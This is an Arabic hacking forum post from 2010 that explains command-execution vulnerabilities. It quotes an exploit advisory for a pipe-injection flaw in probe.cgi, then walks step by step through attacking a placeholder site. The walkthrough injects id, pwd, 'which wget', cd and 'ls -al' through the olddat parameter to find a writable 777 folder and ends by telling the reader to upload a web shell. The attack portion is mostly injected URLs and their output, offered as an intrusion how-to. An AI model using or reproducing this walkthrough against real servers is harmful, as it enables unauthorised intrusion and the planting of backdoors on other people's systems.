عرض مشاركة واحدة
رقم المشاركة : ( 1 )
الصورة الرمزية صوت القصيد
صوت القصيد
مشرف
صوت القصيد غير متواجد حالياً
 
رقم العضوية : 48
تاريخ التسجيل : Nov 2009
مكان الإقامة :
عدد المشاركات : 2,253
عدد النقاط : 20
قوة التقييم : صوت القصيد is on a distinguished road
برنامج شرح انواع الثغرات وطريقة استغلالها

كُتب : [ 30-07-2010 - 12:52 ]


السلام عليكم
في هذا الموضوع سوف نشرح بعض أنواع الثغرات وطريقة استغلالها
...
والثغرات بأختصار هي اخطاء برمجية يقع فيها المبرمجين تؤدي تلك الأخطاء الى استغلالها من قبل الهكر في أختراق النظام المستهدف
وهناك اخطاء برمجية كثيرة جدآ ومختلفة وكل خطاء لة استغلال معين

============================== =====
|1|
ثغرات تنفيذ الاوامر Command Execution
============================== =====
هذا النوع من الثغرات يحدث نتيجه استخدام دوال تنفيذ الاوامر في لغه PHP بشكل خاطئ ويتم استغلال الخطاء مباشرة في المتصفح بتنفيذ اوامر الليونكس
وتنقسم دوال تنفيذ الاوامر في لغة php
التي تنفذ بشكل مباشر الى system و popen و shell_exec و exec
هذه الدوال تنفذ اي برنامج نظام يمرر لها بشكل مباشر
وكمثال انظر الى هذا الاكسبلويت
كود:
Authors ....... spher3 (spher3 at fatalimpulse dot net)
Date .......... 04-07-2008
Product ....... probe.cgi
Type .......... Remote Command Execution

o Info:
================
That ****** is used to open file '.dat'.

o Vulnerable Code:
================
..
23 [...]
24 $old = $query->param('olddat');
25 [...]
..
..
34 [...]
35 open (VF, "$olddat");
36 [...]
..
(24) At this line, the cgi param 'olddat' is associated to one database.
This variable isn't checked by anyone matching, so you can open
all file that you want. (35) At this line the ****** open the file
that you had chosen. With pipe `|`
is possible to execute arbitrary code on the shell.

o Proof of concept:
================

http://????.com/cgi-bin/probe.cgi?olddat=|id|
uid=99(www) gid=99(www)


نفهم من هذا انه توجد ثغرة من نوع Command Execution
والملف المصاب هو
probe.cgi
..والان لنرى كيف يتم استغلال هذه الثغرة
|
http://????.com/cgi-bin/probe.cgi?olddat=|id

????.com= الموقع الافتراضي المستهدف
cgi-bin = مجلد cgi-bin
probe.cgi = الملف المصاب
olddat = مكان الاصابة داخل الملف



|id| : تعطي صلاحيتك بالسيرفر
بعد كتابتها اضغط على انتر سوف يظهر التالي
uid=99(www) gid=99(www)

والان نريد ان نعرف مكاننا على السيرفر
نكتب pwd في مكان id هكذا :
|http://????.com/cgi-bin/probe.cgi?olddat=|pwd
فيظهر لنا هذا:
/home/.????/cgi.bin

والان لنرى هل مسموح لنا برفع ملف ام لا؟؟
نضع مكان id
which wget هكذا :
|http://????.com/cgi-bin/probe.cgi?olddat=|which wget
اذا ظهر لك هذا /؟؟؟/؟؟؟/wget معناه مسموح برفع ملف
(علامات الاستفهام متغيرة اهم شيئ ان تظهر
wget )

والان نريد ان نعرف التصاريح للملفات والمجلدات لنعرف اين يمكننا الرفع:
منذ قليل قلنا ان مكاننا هو
/home/.????/cgi.bin
ونريد الخروج من ملف cgi.bin الى المجلد الرئيسي
لذلك
نضع مكان الـ id
cd /home/.???/;pwd
هكذا:
|
http://????.com/cgi-bin/probe.cgi?olddat=|cd /home/.???/;pwd
ولكي نرى المجلدات والملفات والتصريحات نستعمل الامر
ls%20-al
;هكذا:
|
http://????.com/cgi-bin/probe.cgi?olddat=|cd /home/;ls%20-al

ثم نبحث عن المجلد الذي له تصريح :
drwxrwxrwx = 777
لنفرض انك حصلت أمام مجلد الصور أو uploads تصريح ( drwxrwxrwx = 777 )
ولندخل اليه نكتب هكذا:

|http://????.com/cgi-bin/probe.cgi?olddat=|cd /home/.???/uploads/;pwd

والان كل ما عليك هو رفع الشل وبهذا نكون اكملنا طريقة استغلال هذا النوع من الثغرات


***



توقيع : صوت القصيد















رد مع إقتباس